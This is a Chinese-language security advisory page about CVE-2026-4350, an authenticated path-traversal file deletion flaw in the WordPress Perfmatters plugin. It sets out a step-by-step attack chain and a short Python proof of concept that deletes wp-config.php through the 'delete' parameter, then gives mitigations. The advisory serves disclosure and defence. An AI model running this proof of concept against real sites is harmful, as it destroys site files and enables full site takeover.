IPBUF安全漏洞报告
English
CVE-2026-4350 CVSS 8.1 高危

CVE-2026-4350 WordPress Perfmatters插件任意文件删除漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-4350
漏洞类型
任意文件删除
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Perfmatters Plugin

相关标签

WordPressPerfmattersPath TraversalArbitrary File DeletionCVE-2026-4350Authenticated RCE

漏洞概述

WordPress Perfmatters 插件在 2.5.9.1 及以下版本中存在严重安全漏洞。该漏洞源于 `PMCS::action_handler()` 方法未对 `$_GET['delete']` 参数进行充分验证和清理。攻击者利用此漏洞,仅需拥有订阅者级别的权限,即可通过特制的请求利用路径遍历序列(如 `../`)删除服务器上的任意文件。最严重的情况下,攻击者可以删除核心配置文件 `wp-config.php`,导致网站重置并允许完全接管站点。

技术细节

该漏洞位于 Perfmatters 插件的 `PMCS` 类的 `action_handler()` 方法中。当该方法处理用户传入的 `$_GET['delete']` 参数时,缺乏必要的安全措施,如输入清理、权限校验和 Nonce 验证。代码直接将未过滤的文件名与插件存储目录路径进行字符串拼接,并将其作为参数传递给 PHP 的 `unlink()` 函数执行删除操作。由于未限制目录穿越,攻击者可以通过在文件名中插入 `../` 序列跳出预设目录,访问并删除 Web 根目录下的敏感文件。例如,若成功删除 `wp-config.php`,WordPress 将无法连接数据库,进而重置为安装模式,攻击者可借此重新安装站点并获得管理员权限。

攻击链分析

STEP 1
侦察
攻击者识别目标站点是否安装了存在漏洞的 WordPress Perfmatters 插件(版本 <= 2.5.9.1)。
STEP 2
获取权限
攻击者在目标站点注册一个账户,或通过其他方式获取一个低权限(如 Subscriber/订阅者)的账户凭证。
STEP 3
漏洞利用
攻击者使用该账户登录,并发送包含恶意构造参数的 GET 请求。在请求中利用 `delete=../../wp-config.php` 参数触发路径遍历。
STEP 4
文件删除
服务器端 `PMCS::action_handler()` 接收参数,未经清理直接调用 `unlink()`,导致 `wp-config.php` 被删除。
STEP 5
完全接管
由于配置文件丢失,WordPress 进入安装向导模式。攻击者访问网站,重新配置数据库并设置新的管理员账户,从而完全接管站点。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: WordPress Perfmatters < 2.5.9.1 - Arbitrary File Deletion (Authenticated) # Description: Send a request with the 'delete' parameter containing path traversal. target_url = "http://example.com/" # Attacker needs a valid authenticated session cookie (Subscriber level or higher) cookies = { "wordpress_logged_in_xxx": "valid_cookie_value_here" } # The payload attempts to delete the WordPress configuration file # using path traversal sequences '../' to escape the current directory params = { "delete": "../../wp-config.php" } try: response = requests.get(target_url, params=params, cookies=cookies) if response.status_code == 200: print("[+] Payload sent successfully. Check if wp-config.php is deleted.") else: print(f"[-] Request failed. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

WordPress Perfmatters Plugin <= 2.5.9.1

防御指南

临时缓解措施
如果无法立即升级插件,建议暂时禁用 Perfmatters 插件以阻断攻击路径。同时,管理员应检查服务器日志中是否存在针对 `delete` 参数的可疑请求,并确保 `wp-config.php` 文件权限设置为只读(如 444 或 400),防止被意外删除。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表